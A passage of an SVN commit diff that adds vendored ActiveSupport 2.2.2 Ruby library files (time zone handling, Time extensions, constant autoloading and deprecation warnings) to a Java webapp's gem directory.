+        #   my_time.to_datetime   # => Mon, 12 Nov 2007 23:04:21 -0500
+        #
+        #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
+        #   your_time.to_datetime                             # => Tue, 13 Jan 2009 13:13:03 -0500
+        def to_datetime
+          ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400))
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/zones.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/zones.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/zones.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,86 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Time #:nodoc:
+      module Zones
+        def self.included(base) #:nodoc:
+          base.extend(ClassMethods) if base == ::Time # i.e., don't include class methods in DateTime
+        end
+        
+        module ClassMethods
+          attr_accessor :zone_default
+          
+          # Returns the TimeZone for the current request, if this has been set (via Time.zone=). 
+          # If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
+          def zone
+            Thread.current[:time_zone] || zone_default
+          end
+
+          # Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread. 
+          #
+          # This method accepts any of the following:
+          #
+          # * A Rails TimeZone object.
+          # * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
+          # * A TZInfo::Timezone object.
+          # * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
+          #
+          # Here's an example of how you might set <tt>Time.zone</tt> on a per request basis -- <tt>current_user.time_zone</tt>
+          # just needs to return a string identifying the user's preferred TimeZone:
+          #
+          #   class ApplicationController < ActionController::Base
+          #     before_filter :set_time_zone
+          #
+          #     def set_time_zone
+          #       Time.zone = current_user.time_zone
+          #     end
+          #   end
+          def zone=(time_zone)
+            Thread.current[:time_zone] = get_zone(time_zone)
+          end
+          
+          # Allows override of <tt>Time.zone</tt> locally inside supplied block; resets <tt>Time.zone</tt> to existing value when done.
+          def use_zone(time_zone)
+            old_zone, ::Time.zone = ::Time.zone, get_zone(time_zone)
+            yield
+          ensure
+            ::Time.zone = old_zone
+          end
+          
+          # Returns <tt>Time.zone.now</tt> when <tt>config.time_zone</tt> is set, otherwise just returns <tt>Time.now</tt>.
+          def current
+            ::Time.zone_default ? ::Time.zone.now : ::Time.now
+          end
+          
+          private
+            def get_zone(time_zone)
+              return time_zone if time_zone.nil? || time_zone.is_a?(TimeZone)
+              # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone)
+              unless time_zone.respond_to?(:period_for_local)
+                time_zone = TimeZone[time_zone] || TZInfo::Timezone.get(time_zone) rescue nil
+              end
+              # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
+              if time_zone
+                time_zone.is_a?(TimeZone) ? time_zone : TimeZone.create(time_zone.name, nil, time_zone)
+              end
+            end
+        end
+        
+        # Returns the simultaneous time in <tt>Time.zone</tt>.
+        #
+        #   Time.zone = 'Hawaii'         # => 'Hawaii'
+        #   Time.utc(2000).in_time_zone  # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+        #
+        # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+        # instead of the operating system's time zone.
+        #
+        # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument, 
+        # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+        #
+        #   Time.utc(2000).in_time_zone('Alaska')  # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+        def in_time_zone(zone = ::Time.zone)
+          ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.__send__(:get_zone, zone))
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,42 @@
+require 'date'
+require 'time'
+
+class Time
+  # Ruby 1.8-cvs and 1.9 define private Time#to_date
+  %w(to_date to_datetime).each do |method|
+    public method if private_instance_methods.include?(method)
+  end
+
+  # Pre-1.9 versions of Ruby have a bug with marshaling Time instances, where utc instances are
+  # unmarshaled in the local zone, instead of utc. We're layering behavior on the _dump and _load
+  # methods so that utc instances can be flagged on dump, and coerced back to utc on load.
+  if RUBY_VERSION < '1.9'
+    class << self
+      alias_method :_original_load, :_load
+      def _load(marshaled_time)
+        time = _original_load(marshaled_time)
+        utc = time.instance_variable_get('@marshal_with_utc_coercion')
+        utc ? time.utc : time
+      end
+    end
+    
+    alias_method :_original_dump, :_dump
+    def _dump(*args)
+      obj = self.frozen? ? self.dup : self
+      obj.instance_variable_set('@marshal_with_utc_coercion', utc?)
+      obj._original_dump(*args)
+    end
+  end
+end
+
+require 'active_support/core_ext/time/behavior'
+require 'active_support/core_ext/time/calculations'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/time/zones'
+
+class Time#:nodoc:
+  include ActiveSupport::CoreExtensions::Time::Behavior
+  include ActiveSupport::CoreExtensions::Time::Calculations
+  include ActiveSupport::CoreExtensions::Time::Conversions
+  include ActiveSupport::CoreExtensions::Time::Zones
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+Dir[File.dirname(__FILE__) + "/core_ext/*.rb"].sort.each do |path|
+  filename = File.basename(path)
+  require "active_support/core_ext/#{filename}"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/dependencies.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/dependencies.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/dependencies.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,621 @@
+module ActiveSupport #:nodoc:
+  module Dependencies #:nodoc:
+    extend self
+
+    # Should we turn on Ruby warnings on the first load of dependent files?
+    mattr_accessor :warnings_on_first_load
+    self.warnings_on_first_load = false
+
+    # All files ever loaded.
+    mattr_accessor :history
+    self.history = Set.new
+
+    # All files currently loaded.
+    mattr_accessor :loaded
+    self.loaded = Set.new
+
+    # Should we load files or require them?
+    mattr_accessor :mechanism
+    self.mechanism = :load
+
+    # The set of directories from which we may automatically load files. Files
+    # under these directories will be reloaded on each request in development mode,
+    # unless the directory also appears in load_once_paths.
+    mattr_accessor :load_paths
+    self.load_paths = []
+
+    # The set of directories from which automatically loaded constants are loaded
+    # only once. All directories in this set must also be present in +load_paths+.
+    mattr_accessor :load_once_paths
+    self.load_once_paths = []
+
+    # An array of qualified constant names that have been loaded. Adding a name to
+    # this array will cause it to be unloaded the next time Dependencies are cleared.
+    mattr_accessor :autoloaded_constants
+    self.autoloaded_constants = []
+
+    # An array of constant names that need to be unloaded on every request. Used
+    # to allow arbitrary constants to be marked for unloading.
+    mattr_accessor :explicitly_unloadable_constants
+    self.explicitly_unloadable_constants = []
+
+    # The logger is used for generating information on the action run-time (including benchmarking) if available.
+    # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+    mattr_accessor :logger
+
+    # Set to true to enable logging of const_missing and file loads
+    mattr_accessor :log_activity
+    self.log_activity = false
+
+    # An internal stack used to record which constants are loaded by any block.
+    mattr_accessor :constant_watch_stack
+    self.constant_watch_stack = []
+
+    # Module includes this module
+    module ModuleConstMissing #:nodoc:
+      def self.included(base) #:nodoc:
+        base.class_eval do
+          unless defined? const_missing_without_dependencies
+            alias_method_chain :const_missing, :dependencies
+          end
+        end
+      end
+
+      def self.excluded(base) #:nodoc:
+        base.class_eval do
+          if defined? const_missing_without_dependencies
+            undef_method :const_missing
+            alias_method :const_missing, :const_missing_without_dependencies
+            undef_method :const_missing_without_dependencies
+          end
+        end
+      end
+
+      # Use const_missing to autoload associations so we don't have to
+      # require_association when using single-table inheritance.
+      def const_missing_with_dependencies(class_id)
+        ActiveSupport::Dependencies.load_missing_constant self, class_id
+      end
+
+      def unloadable(const_desc = self)
+        super(const_desc)
+      end
+    end
+
+    # Class includes this module
+    module ClassConstMissing #:nodoc:
+      def const_missing(const_name)
+        if [Object, Kernel].include?(self) || parent == self
+          super
+        else
+          begin
+            begin
+              Dependencies.load_missing_constant self, const_name
+            rescue NameError
+              parent.send :const_missing, const_name
+            end
+          rescue NameError => e
+            # Make sure that the name we are missing is the one that caused the error
+            parent_qualified_name = Dependencies.qualified_name_for parent, const_name
+            raise unless e.missing_name? parent_qualified_name
+            qualified_name = Dependencies.qualified_name_for self, const_name
+            raise NameError.new("uninitialized constant #{qualified_name}").copy_blame!(e)
+          end
+        end
+      end
+    end
+
+    # Object includes this module
+    module Loadable #:nodoc:
+      def self.included(base) #:nodoc:
+        base.class_eval do
+          unless defined? load_without_new_constant_marking
+            alias_method_chain :load, :new_constant_marking
+          end
+        end
+      end
+
+      def self.excluded(base) #:nodoc:
+        base.class_eval do
+          if defined? load_without_new_constant_marking
+            undef_method :load
+            alias_method :load, :load_without_new_constant_marking
+            undef_method :load_without_new_constant_marking
+          end
+        end
+      end
+
+      def require_or_load(file_name)
+        Dependencies.require_or_load(file_name)
+      end
+
+      def require_dependency(file_name)
+        Dependencies.depend_on(file_name)
+      end
+
+      def require_association(file_name)
+        Dependencies.associate_with(file_name)
+      end
+
+      def load_with_new_constant_marking(file, *extras) #:nodoc:
+        if Dependencies.load?
+          Dependencies.new_constants_in(Object) { load_without_new_constant_marking(file, *extras) }
+        else
+          load_without_new_constant_marking(file, *extras)
+        end
+      rescue Exception => exception  # errors from loading file
+        exception.blame_file! file
+        raise
+      end
+
+      def require(file, *extras) #:nodoc:
+        if Dependencies.load?
+          Dependencies.new_constants_in(Object) { super }
+        else
+          super
+        end
+      rescue Exception => exception  # errors from required file
+        exception.blame_file! file
+        raise
+      end
+
+      # Mark the given constant as unloadable. Unloadable constants are removed each
+      # time dependencies are cleared.
+      #
+      # Note that marking a constant for unloading need only be done once. Setup
+      # or init scripts may list each unloadable constant that may need unloading;
+      # each constant will be removed for every subsequent clear, as opposed to for
+      # the first clear.
+      #
+      # The provided constant descriptor may be a (non-anonymous) module or class,
+      # or a qualified constant name as a string or symbol.
+      #
+      # Returns true if the constant was not previously marked for unloading, false
+      # otherwise.
+      def unloadable(const_desc)
+        Dependencies.mark_for_unload const_desc
+      end
+    end
+
+    # Exception file-blaming
+    module Blamable #:nodoc:
+      def blame_file!(file)
+        (@blamed_files ||= []).unshift file
+      end
+
+      def blamed_files
+        @blamed_files ||= []
+      end
+
+      def describe_blame
+        return nil if blamed_files.empty?
+        "This error occurred while loading the following files:\n   #{blamed_files.join "\n   "}"
+      end
+
+      def copy_blame!(exc)
+        @blamed_files = exc.blamed_files.clone
+        self
+      end
+    end
+
+    def hook!
+      Object.instance_eval { include Loadable }
+      Module.instance_eval { include ModuleConstMissing }
+      Class.instance_eval { include ClassConstMissing }
+      Exception.instance_eval { include Blamable }
+      true
+    end
+
+    def unhook!
+      ModuleConstMissing.excluded(Module)
+      Loadable.excluded(Object)
+      true
+    end
+
+    def load?
+      mechanism == :load
+    end
+
+    def depend_on(file_name, swallow_load_errors = false)
+      path = search_for_file(file_name)
+      require_or_load(path || file_name)
+    rescue LoadError
+      raise unless swallow_load_errors
+    end
+
+    def associate_with(file_name)
+      depend_on(file_name, true)
+    end
+
+    def clear
+      log_call
+      loaded.clear
+      remove_unloadable_constants!
+    end
+
+    def require_or_load(file_name, const_path = nil)
+      log_call file_name, const_path
+      file_name = $1 if file_name =~ /^(.*)\.rb$/
+      expanded = File.expand_path(file_name)
+      return if loaded.include?(expanded)
+
+      # Record that we've seen this file *before* loading it to avoid an
+      # infinite loop with mutual dependencies.
+      loaded << expanded
+
+      begin
+        if load?
+          log "loading #{file_name}"
+
+          # Enable warnings iff this file has not been loaded before and
+          # warnings_on_first_load is set.
+          load_args = ["#{file_name}.rb"]
+          load_args << const_path unless const_path.nil?
+
+          if !warnings_on_first_load or history.include?(expanded)
+            result = load_file(*load_args)
+          else
+            enable_warnings { result = load_file(*load_args) }
+          end
+        else
+          log "requiring #{file_name}"
+          result = require file_name
+        end
+      rescue Exception
+        loaded.delete expanded
+        raise
+      end
+
+      # Record history *after* loading so first load gets warnings.
+      history << expanded
+      return result
+    end
+
+    # Is the provided constant path defined?
+    def qualified_const_defined?(path)
+      raise NameError, "#{path.inspect} is not a valid constant name!" unless
+        /^(::)?([A-Z]\w*)(::[A-Z]\w*)*$/ =~ path
+
+      names = path.to_s.split('::')
+      names.shift if names.first.empty?
+
+      # We can't use defined? because it will invoke const_missing for the parent
+      # of the name we are checking.
+      names.inject(Object) do |mod, name|
+        return false unless uninherited_const_defined?(mod, name)
+        mod.const_get name
+      end
+      return true
+    end
+
+    if Module.method(:const_defined?).arity == 1
+      # Does this module define this constant?
+      # Wrapper to accomodate changing Module#const_defined? in Ruby 1.9
+      def uninherited_const_defined?(mod, const)
+        mod.const_defined?(const)
+      end
+    else
+      def uninherited_const_defined?(mod, const) #:nodoc:
+        mod.const_defined?(const, false)
+      end
+    end
+
+    # Given +path+, a filesystem path to a ruby file, return an array of constant
+    # paths which would cause Dependencies to attempt to load this file.
+    def loadable_constants_for_path(path, bases = load_paths)
+      path = $1 if path =~ /\A(.*)\.rb\Z/
+      expanded_path = File.expand_path(path)
+
+      bases.collect do |root|
+        expanded_root = File.expand_path(root)
+        next unless %r{\A#{Regexp.escape(expanded_root)}(/|\\)} =~ expanded_path
+
+        nesting = expanded_path[(expanded_root.size)..-1]
+        nesting = nesting[1..-1] if nesting && nesting[0] == ?/
+        next if nesting.blank?
+        nesting_camel = nesting.camelize
+        begin
+          qualified_const_defined?(nesting_camel)
+        rescue NameError
+          next
+        end
+
+        [
+          nesting.camelize,
+          # Special case: application.rb might define ApplicationControlller.
+          ('ApplicationController' if nesting == 'application')
+        ]
+      end.flatten.compact.uniq
+    end
+
+    # Search for a file in load_paths matching the provided suffix.
+    def search_for_file(path_suffix)
+      path_suffix = path_suffix + '.rb' unless path_suffix.ends_with? '.rb'
+      load_paths.each do |root|
+        path = File.join(root, path_suffix)
+        return path if File.file? path
+      end
+      nil # Gee, I sure wish we had first_match ;-)
+    end
+
+    # Does the provided path_suffix correspond to an autoloadable module?
+    # Instead of returning a boolean, the autoload base for this module is returned.
+    def autoloadable_module?(path_suffix)
+      load_paths.each do |load_path|
+        return load_path if File.directory? File.join(load_path, path_suffix)
+      end
+      nil
+    end
+
+    def load_once_path?(path)
+      load_once_paths.any? { |base| path.starts_with? base }
+    end
+
+    # Attempt to autoload the provided module name by searching for a directory
+    # matching the expect path suffix. If found, the module is created and assigned
+    # to +into+'s constants with the name +const_name+. Provided that the directory
+    # was loaded from a reloadable base path, it is added to the set of constants
+    # that are to be unloaded.
+    def autoload_module!(into, const_name, qualified_name, path_suffix)
+      return nil unless base_path = autoloadable_module?(path_suffix)
+      mod = Module.new
+      into.const_set const_name, mod
+      autoloaded_constants << qualified_name unless load_once_paths.include?(base_path)
+      return mod
+    end
+
+    # Load the file at the provided path. +const_paths+ is a set of qualified
+    # constant names. When loading the file, Dependencies will watch for the
+    # addition of these constants. Each that is defined will be marked as
+    # autoloaded, and will be removed when Dependencies.clear is next called.
+    #
+    # If the second parameter is left off, then Dependencies will construct a set
+    # of names that the file at +path+ may define. See
+    # +loadable_constants_for_path+ for more details.
+    def load_file(path, const_paths = loadable_constants_for_path(path))
+      log_call path, const_paths
+      const_paths = [const_paths].compact unless const_paths.is_a? Array
+      parent_paths = const_paths.collect { |const_path| /(.*)::[^:]+\Z/ =~ const_path ? $1 : :Object }
+
+      result = nil
+      newly_defined_paths = new_constants_in(*parent_paths) do
+        result = load_without_new_constant_marking path
+      end
+
+      autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
+      autoloaded_constants.uniq!
+      log "loading #{path} defined #{newly_defined_paths * ', '}" unless newly_defined_paths.empty?
+      return result
+    end
+
+    # Return the constant path for the provided parent and constant name.
+    def qualified_name_for(mod, name)
+      mod_name = to_constant_name mod
+      (%w(Object Kernel).include? mod_name) ? name.to_s : "#{mod_name}::#{name}"
+    end
+
+    # Load the constant named +const_name+ which is missing from +from_mod+. If
+    # it is not possible to load the constant into from_mod, try its parent module
+    # using const_missing.
+    def load_missing_constant(from_mod, const_name)
+      log_call from_mod, const_name
+      if from_mod == Kernel
+        if ::Object.const_defined?(const_name)
+          log "Returning Object::#{const_name} for Kernel::#{const_name}"
+          return ::Object.const_get(const_name)
+        else
+          log "Substituting Object for Kernel"
+          from_mod = Object
+        end
+      end
+
+      # If we have an anonymous module, all we can do is attempt to load from Object.
+      from_mod = Object if from_mod.name.blank?
+
+      unless qualified_const_defined?(from_mod.name) && from_mod.name.constantize.object_id == from_mod.object_id
+        raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
+      end
+
+      raise ArgumentError, "#{from_mod} is not missing constant #{const_name}!" if uninherited_const_defined?(from_mod, const_name)
+
+      qualified_name = qualified_name_for from_mod, const_name
+      path_suffix = qualified_name.underscore
+      name_error = NameError.new("uninitialized constant #{qualified_name}")
+
+      file_path = search_for_file(path_suffix)
+      if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load
+        require_or_load file_path
+        raise LoadError, "Expected #{file_path} to define #{qualified_name}" unless uninherited_const_defined?(from_mod, const_name)
+        return from_mod.const_get(const_name)
+      elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
+        return mod
+      elsif (parent = from_mod.parent) && parent != from_mod &&
+            ! from_mod.parents.any? { |p| uninherited_const_defined?(p, const_name) }
+        # If our parents do not have a constant named +const_name+ then we are free
+        # to attempt to load upwards. If they do have such a constant, then this
+        # const_missing must be due to from_mod::const_name, which should not
+        # return constants from from_mod's parents.
+        begin
+          return parent.const_missing(const_name)
+        rescue NameError => e
+          raise unless e.missing_name? qualified_name_for(parent, const_name)
+          raise name_error
+        end
+      else
+        raise name_error
+      end
+    end
+
+    # Remove the constants that have been autoloaded, and those that have been
+    # marked for unloading.
+    def remove_unloadable_constants!
+      autoloaded_constants.each { |const| remove_constant const }
+      autoloaded_constants.clear
+      explicitly_unloadable_constants.each { |const| remove_constant const }
+    end
+
+    # Determine if the given constant has been automatically loaded.
+    def autoloaded?(desc)
+      # No name => anonymous module.
+      return false if desc.is_a?(Module) && desc.name.blank?
+      name = to_constant_name desc
+      return false unless qualified_const_defined? name
+      return autoloaded_constants.include?(name)
+    end
+
+    # Will the provided constant descriptor be unloaded?
+    def will_unload?(const_desc)
+      autoloaded?(const_desc) ||
+        explicitly_unloadable_constants.include?(to_constant_name(const_desc))
+    end
+
+    # Mark the provided constant name for unloading. This constant will be
+    # unloaded on each request, not just the next one.
+    def mark_for_unload(const_desc)
+      name = to_constant_name const_desc
+      if explicitly_unloadable_constants.include? name
+        return false
+      else
+        explicitly_unloadable_constants << name
+        return true
+      end
+    end
+
+    # Run the provided block and detect the new constants that were loaded during
+    # its execution. Constants may only be regarded as 'new' once -- so if the
+    # block calls +new_constants_in+ again, then the constants defined within the
+    # inner call will not be reported in this one.
+    #
+    # If the provided block does not run to completion, and instead raises an
+    # exception, any new constants are regarded as being only partially defined
+    # and will be removed immediately.
+    def new_constants_in(*descs)
+      log_call(*descs)
+
+      # Build the watch frames. Each frame is a tuple of
+      #   [module_name_as_string, constants_defined_elsewhere]
+      watch_frames = descs.collect do |desc|
+        if desc.is_a? Module
+          mod_name = desc.name
+          initial_constants = desc.local_constant_names
+        elsif desc.is_a?(String) || desc.is_a?(Symbol)
+          mod_name = desc.to_s
+
+          # Handle the case where the module has yet to be defined.
+          initial_constants = if qualified_const_defined?(mod_name)
+            mod_name.constantize.local_constant_names
+          else
+            []
+          end
+        else
+          raise Argument, "#{desc.inspect} does not describe a module!"
+        end
+
+        [mod_name, initial_constants]
+      end
+
+      constant_watch_stack.concat watch_frames
+
+      aborting = true
+      begin
+        yield # Now yield to the code that is to define new constants.
+        aborting = false
+      ensure
+        # Find the new constants.
+        new_constants = watch_frames.collect do |mod_name, prior_constants|
+          # Module still doesn't exist? Treat it as if it has no constants.
+          next [] unless qualified_const_defined?(mod_name)
+
+          mod = mod_name.constantize
+          next [] unless mod.is_a? Module
+          new_constants = mod.local_constant_names - prior_constants
+
+          # Make sure no other frames takes credit for these constants.
+          constant_watch_stack.each do |frame_name, constants|
+            constants.concat new_constants if frame_name == mod_name
+          end
+
+          new_constants.collect do |suffix|
+            mod_name == "Object" ? suffix : "#{mod_name}::#{suffix}"
+          end
+        end.flatten
+
+        log "New constants: #{new_constants * ', '}"
+
+        if aborting
+          log "Error during loading, removing partially loaded constants "
+          new_constants.each { |name| remove_constant name }
+          new_constants.clear
+        end
+      end
+
+      return new_constants
+    ensure
+      # Remove the stack frames that we added.
+      if defined?(watch_frames) && ! watch_frames.blank?
+        frame_ids = watch_frames.collect { |frame| frame.object_id }
+        constant_watch_stack.delete_if do |watch_frame|
+          frame_ids.include? watch_frame.object_id
+        end
+      end
+    end
+
+    class LoadingModule #:nodoc:
+      # Old style environment.rb referenced this method directly.  Please note, it doesn't
+      # actually *do* anything any more.
+      def self.root(*args)
+        if defined?(RAILS_DEFAULT_LOGGER)
+          RAILS_DEFAULT_LOGGER.warn "Your environment.rb uses the old syntax, it may not continue to work in future releases."
+          RAILS_DEFAULT_LOGGER.warn "For upgrade instructions please see: http://manuals.rubyonrails.com/read/book/19"
+        end
+      end
+    end
+
+    # Convert the provided const desc to a qualified constant name (as a string).
+    # A module, class, symbol, or string may be provided.
+    def to_constant_name(desc) #:nodoc:
+      name = case desc
+        when String then desc.starts_with?('::') ? desc[2..-1] : desc
+        when Symbol then desc.to_s
+        when Module
+          raise ArgumentError, "Anonymous modules have no name to be referenced by" if desc.name.blank?
+          desc.name
+        else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
+      end
+    end
+
+    def remove_constant(const) #:nodoc:
+      return false unless qualified_const_defined? const
+
+      const = $1 if /\A::(.*)\Z/ =~ const.to_s
+      names = const.to_s.split('::')
+      if names.size == 1 # It's under Object
+        parent = Object
+      else
+        parent = (names[0..-2] * '::').constantize
+      end
+
+      log "removing constant #{const}"
+      parent.instance_eval { remove_const names.last }
+      return true
+    end
+
+    protected
+      def log_call(*args)
+        if logger && log_activity
+          arg_str = args.collect { |arg| arg.inspect } * ', '
+          /in `([a-z_\?\!]+)'/ =~ caller(1).first
+          selector = $1 || '<unknown>'
+          log "called #{selector}(#{arg_str})"
+        end
+      end
+
+      def log(msg)
+        if logger && log_activity
+          logger.debug "Dependencies: #{msg}"
+        end
+      end
+  end
+end
+
+ActiveSupport::Dependencies.hook!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/deprecation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/deprecation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/deprecation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,243 @@
+require 'yaml'
+
+module ActiveSupport
+  module Deprecation #:nodoc:
+    mattr_accessor :debug
+    self.debug = false
+
+    # Choose the default warn behavior according to RAILS_ENV.
+    # Ignore deprecation warnings in production.
+    DEFAULT_BEHAVIORS = {
+      'test'        => Proc.new { |message, callstack|
+                         $stderr.puts(message)
+                         $stderr.puts callstack.join("\n  ") if debug
+                       },
+      'development' => Proc.new { |message, callstack|
+                         logger = defined?(::RAILS_DEFAULT_LOGGER) ? ::RAILS_DEFAULT_LOGGER : Logger.new($stderr)
+                         logger.warn message
+                         logger.debug callstack.join("\n  ") if debug
+                       }
+    }
+
+    class << self
+      def warn(message = nil, callstack = caller)
+        behavior.call(deprecation_message(callstack, message), callstack) if behavior && !silenced?
+      end
+
+      def default_behavior
+        if defined?(RAILS_ENV)
+          DEFAULT_BEHAVIORS[RAILS_ENV.to_s]
+        else
+          DEFAULT_BEHAVIORS['test']
+        end
+      end
+
+      # Have deprecations been silenced?
+      def silenced?
+        @silenced = false unless defined?(@silenced)
+        @silenced
+      end
+
+      # Silence deprecation warnings within the block.
+      def silence
+        old_silenced, @silenced = @silenced, true
+        yield
+      ensure
+        @silenced = old_silenced
+      end
+
+      attr_writer :silenced
+
+
+      private
+        def deprecation_message(callstack, message = nil)
+          message ||= "You are using deprecated behavior which will be removed from the next major or minor release."
+          "DEPRECATION WARNING: #{message}. #{deprecation_caller_message(callstack)}"
+        end
+
+        def deprecation_caller_message(callstack)
+          file, line, method = extract_callstack(callstack)
+          if file
+            if line && method
+              "(called from #{method} at #{file}:#{line})"
+            else
+              "(called from #{file}:#{line})"
+            end
+          end
+        end
+
+        def extract_callstack(callstack)
+          if md = callstack.first.match(/^(.+?):(\d+)(?::in `(.*?)')?/)
+            md.captures
+          else
+            callstack.first
+          end
+        end
+    end
+
+    # Behavior is a block that takes a message argument.
+    mattr_accessor :behavior
+    self.behavior = default_behavior
+
+    # Warnings are not silenced by default.
+    self.silenced = false
+
+    module ClassMethods #:nodoc:
+      # Declare that a method has been deprecated.
+      def deprecate(*method_names)
+        options = method_names.extract_options!
+        method_names = method_names + options.keys
+        method_names.each do |method_name|
+          alias_method_chain(method_name, :deprecation) do |target, punctuation|
+            class_eval(<<-EOS, __FILE__, __LINE__)
+              def #{target}_with_deprecation#{punctuation}(*args, &block)
+                ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:#{method_name}, #{options[method_name].inspect}), caller)
+                #{target}_without_deprecation#{punctuation}(*args, &block)
+              end
+            EOS
+          end
+        end
+      end
+
+      def deprecated_method_warning(method_name, message=nil)
+        warning = "#{method_name} is deprecated and will be removed from Rails #{deprecation_horizon}"
+        case message
+          when Symbol then "#{warning} (use #{message} instead)"
+          when String then "#{warning} (#{message})"
+          else warning
+        end
+      end
+
+      def deprecation_horizon
+        '2.3'
+      end
+    end
+
+    module Assertions #:nodoc:
+      def assert_deprecated(match = nil, &block)
+        result, warnings = collect_deprecations(&block)
+        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
+        if match
+          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+          assert warnings.any? { |w| w =~ match }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
+        end
+        result
+      end
+
+      def assert_not_deprecated(&block)
+        result, deprecations = collect_deprecations(&block)
+        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
+        result
+      end
+
+      private
+        def collect_deprecations
+          old_behavior = ActiveSupport::Deprecation.behavior
+          deprecations = []
+          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+            deprecations << message
+          end
+          result = yield
+          [result, deprecations]
+        ensure
+          ActiveSupport::Deprecation.behavior = old_behavior
+        end
+    end
+
+    class DeprecationProxy #:nodoc:
+      silence_warnings do
+        instance_methods.each { |m| undef_method m unless m =~ /^__/ }
+      end
+
+      # Don't give a deprecation warning on inspect since test/unit and error
+      # logs rely on it for diagnostics.
+      def inspect
+        target.inspect
+      end
+
+      private
+        def method_missing(called, *args, &block)
+          warn caller, called, args
+          target.__send__(called, *args, &block)
+        end
+    end
+
+    class DeprecatedObjectProxy < DeprecationProxy
+      def initialize(object, message)
+        @object = object
+        @message = message
+      end
+
+      private
+        def target
+          @object
+        end
+
+        def warn(callstack, called, args)
+          ActiveSupport::Deprecation.warn(@message, callstack)
+        end
+    end
+
+    # Stand-in for <tt>@request</tt>, <tt>@attributes</tt>, <tt>@params</tt>, etc.
+    # which emits deprecation warnings on any method call (except +inspect+).
+    class DeprecatedInstanceVariableProxy < DeprecationProxy #:nodoc:
+      def initialize(instance, method, var = "@#{method}")
+        @instance, @method, @var = instance, method, var
+      end
+
+      private
+        def target
+          @instance.__send__(@method)
+        end
+
+        def warn(callstack, called, args)
+          ActiveSupport::Deprecation.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
+        end
+    end
+
+    class DeprecatedConstantProxy < DeprecationProxy #:nodoc:
+      def initialize(old_const, new_const)
+        @old_const = old_const
+        @new_const = new_const
+      end
+
+      def class
+        target.class
+      end
+
+      private
+        def target
+          @new_const.to_s.constantize
+        end
+
+        def warn(callstack, called, args)
+          ActiveSupport::Deprecation.warn("#{@old_const} is deprecated! Use #{@new_const} instead.", callstack)
+        end
+    end
+  end
+end
+
+class Module
+  include ActiveSupport::Deprecation::ClassMethods
+end
+
+require 'test/unit/error'
+
+module Test
+  module Unit
+    class TestCase
+      include ActiveSupport::Deprecation::Assertions
+    end
+
+    class Error # :nodoc:
+      # Silence warnings when reporting test errors.
+      def message_with_silenced_deprecation
